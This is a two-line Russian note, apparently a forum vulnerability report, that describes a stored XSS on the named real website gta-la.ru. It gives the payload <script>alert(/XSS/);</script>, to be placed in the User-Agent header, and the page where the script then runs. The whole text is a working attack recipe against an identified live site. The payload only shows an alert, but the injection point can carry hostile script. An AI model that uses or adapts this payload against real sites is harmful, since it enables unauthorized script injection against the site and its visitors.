при заходе на http://gta-la.ru, подменяем user-agent на <script>alert(/XSS/);</script>
тут http://gta-la.ru/?on видим результат - active xss